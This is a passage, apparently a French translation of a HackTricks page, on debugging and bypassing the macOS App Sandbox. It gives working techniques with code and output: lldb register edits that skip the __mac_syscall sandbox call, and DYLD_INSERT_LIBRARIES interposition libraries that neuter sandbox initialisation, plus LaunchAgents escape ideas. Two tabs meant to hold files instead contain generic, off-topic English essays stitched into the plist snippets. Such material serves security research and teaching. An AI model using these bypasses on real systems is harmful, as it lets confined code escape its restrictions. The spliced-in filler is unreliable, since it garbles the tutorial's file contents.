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Débogage et contournement de la Sandbox macOS

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Processus de chargement de la Sandbox

Image de http://newosxbook.com/files/HITSB.pdf

Dans l'image précédente, il est possible d'observer comment la Sandbox sera chargée lorsqu'une application avec l'entitlement com.apple.security.app-sandbox est exécutée.

Le compilateur liera /usr/lib/libSystem.B.dylib au binaire.

Ensuite, libSystem.B appellera d'autres fonctions jusqu'à ce que xpc_pipe_routine envoie les entitlements de l'application à securityd. Securityd vérifie si le processus doit être mis en quarantaine à l'intérieur de la Sandbox, et si c'est le cas, il sera mis en quarantaine.
Enfin, la Sandbox sera activée par un appel à __sandbox_ms qui appellera __mac_syscall.

Possibles contournements

Exécuter un binaire sans Sandbox

Si vous exécutez un binaire qui ne sera pas mis en sandbox à partir d'un binaire sandboxé, il s'exécutera dans la sandbox du processus parent.

Débogage et contournement de la Sandbox avec lldb

Compilons une application qui devrait être mise en sandbox :

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}

{% endtab %}

{% tab title="macOS Sandbox Debug and Bypass" %}

macOS Sandbox Debug and Bypass

The macOS sandbox is a powerful security feature that restricts the actions that a process can perform on a system. However, like any security feature, it is not perfect and can be bypassed or debugged in certain situations.

Debugging the macOS Sandbox

Debugging the macOS sandbox can be useful for understanding how it works and for finding vulnerabilities that can be exploited to bypass it. There are several tools and techniques that can be used to debug the macOS sandbox, including:

1. sandbox-exec

The sandbox-exec command can be used to run a process in a sandbox and to print out information about the sandbox as the process runs. This can be useful for understanding how the sandbox works and for identifying any issues that may be present.

2. sandboxd

The sandboxd daemon is responsible for enforcing the macOS sandbox. It can be run in debug mode using the -d flag, which will cause it to print out information about the sandbox as it enforces it. This can be useful for understanding how the sandbox works and for identifying any issues that may be present.

3. DYLD_INSERT_LIBRARIES

The DYLD_INSERT_LIBRARIES environment variable can be used to inject a dynamic library into a process. This can be used to intercept and modify system calls made by the process, including those related to the sandbox. By intercepting and modifying these calls, it may be possible to bypass the sandbox.

Bypassing the macOS Sandbox

Bypassing the macOS sandbox can be difficult, but it is not impossible. There are several techniques that can be used to bypass the sandbox, including:

1. Exploiting Vulnerabilities

Like any software, the macOS sandbox is not perfect and may contain vulnerabilities that can be exploited to bypass it. Finding and exploiting these vulnerabilities can be difficult, but it is a viable option for bypassing the sandbox.

2. task_for_pid

The task_for_pid API can be used to gain elevated privileges on a system. By using this API, it may be possible to bypass the sandbox and perform actions that would otherwise be restricted.

3. DYLD_INSERT_LIBRARIES

As mentioned earlier, the DYLD_INSERT_LIBRARIES environment variable can be used to inject a dynamic library into a process. By doing so, it may be possible to bypass the sandbox by intercepting and modifying system calls made by the process.

Conclusion

The macOS sandbox is a powerful security feature that can help protect a system from malicious activity. However, it is not perfect and can be bypassed or debugged in certain situations. By understanding how the sandbox works and by using the appropriate tools and techniques, it may be possible to bypass or debug the sandbox and perform actions that would otherwise be restricted.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% endtab %}

{% tab title="Info.plist" %}

Debugging and Bypassing macOS Sandboxes

The macOS sandbox is a powerful security feature that restricts the access of applications to sensitive system resources. However, it is not foolproof and can be bypassed by attackers with the right knowledge and tools.

Debugging Sandboxed Applications

Debugging a sandboxed application can be challenging due to the restrictions placed on it. However, there are a few techniques that can be used to debug a sandboxed application:

Attaching to a Running Process

One way to debug a sandboxed application is to attach to a running process. This can be done using a debugger such as lldb or gdb. To attach to a running process, you will need to know the process ID (PID) of the application. This can be obtained using the ps command in the Terminal.

Once you have the PID, you can attach to the process using the following command:

$ lldb -p <PID>

Injecting a Debugger

Another way to debug a sandboxed application is to inject a debugger into the process. This can be done using a tool such as ptrace or mach_inject. Once the debugger is injected, you can use it to debug the application as you would with any other process.

Bypassing Sandboxes

Bypassing a sandboxed application can be done using a variety of techniques. Some of the most common techniques include:

Exploiting a Vulnerability

One way to bypass a sandboxed application is to exploit a vulnerability in the application or in the system itself. This can allow an attacker to gain elevated privileges and bypass the sandbox.

Using a Known Exploit

Another way to bypass a sandboxed application is to use a known exploit. This can be a vulnerability that has already been discovered and publicly disclosed, or it can be a tool or technique that is commonly used to bypass sandboxes.

Reverse Engineering the Sandbox

Finally, an attacker can attempt to reverse engineer the sandbox itself to find weaknesses or vulnerabilities that can be exploited. This can be a time-consuming process, but it can be very effective if done correctly.

Conclusion

The macOS sandbox is a powerful security feature that can help protect your system from malicious applications. However, it is not foolproof and can be bypassed by attackers with the right knowledge and tools. As a developer or security professional, it is important to be aware of these techniques and to take steps to mitigate the risks they pose.

<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Ensuite, compilez l'application :

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

{% endcode %}

{% hint style="danger" %} L'application va essayer de lire le fichier ~/Desktop/del.txt, que le bac à sable n'autorisera pas.
Créez un fichier là-bas car une fois que le bac à sable est contourné, il pourra le lire :

echo "Sandbox Bypassed" > ~/Desktop/del.txt

{% endhint %}

Déboguons l'application d'échecs pour voir quand le Sandbox est chargé :

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

{% hint style="warning" %} Même si le Sandbox est contourné, TCC demandera à l'utilisateur s'il veut autoriser le processus à lire les fichiers du bureau. {% endhint %}

Abus d'autres processus

Si à partir du processus Sandbox, vous êtes capable de compromettre d'autres processus fonctionnant dans des Sandbox moins restrictives (ou sans Sandbox), vous pourrez vous échapper vers leurs Sandbox :

{% content-ref url="../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Contournement d'interposition

Pour plus d'informations sur l'interposition, consultez :

{% content-ref url="../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interposer _libsecinit_initializer pour éviter le Sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interposer __mac_syscall pour empêcher le Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Compilation statique et liaison dynamique

Cette recherche a découvert deux façons de contourner le bac à sable. Étant donné que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque libSystem est chargée, si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable :

  • Si le binaire était complètement compilé de manière statique, il pourrait éviter de charger cette bibliothèque.
  • Si le binaire n'avait pas besoin de charger de bibliothèques (car le lien est également dans libSystem), il n'aurait pas besoin de charger libSystem.

Shellcodes

Notez que même les shellcodes en ARM64 doivent être liés dans libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Abus des emplacements de démarrage automatique

Si un processus sandboxé peut écrire dans un endroit où plus tard une application non sandboxée va exécuter le binaire, il pourra s'échapper simplement en y plaçant le binaire. Un bon exemple de ce type d'emplacements sont ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Pour cela, vous pourriez même avoir besoin de 2 étapes : faire en sorte qu'un processus avec un sandbox plus permissif (file-read*, file-write*) exécute votre code qui écrira effectivement dans un endroit où il sera exécuté sans sandbox.

Consultez cette page sur les emplacements de démarrage automatique :

{% content-ref url="broken-reference" %} Lien cassé {% endcontent-ref %}

Références

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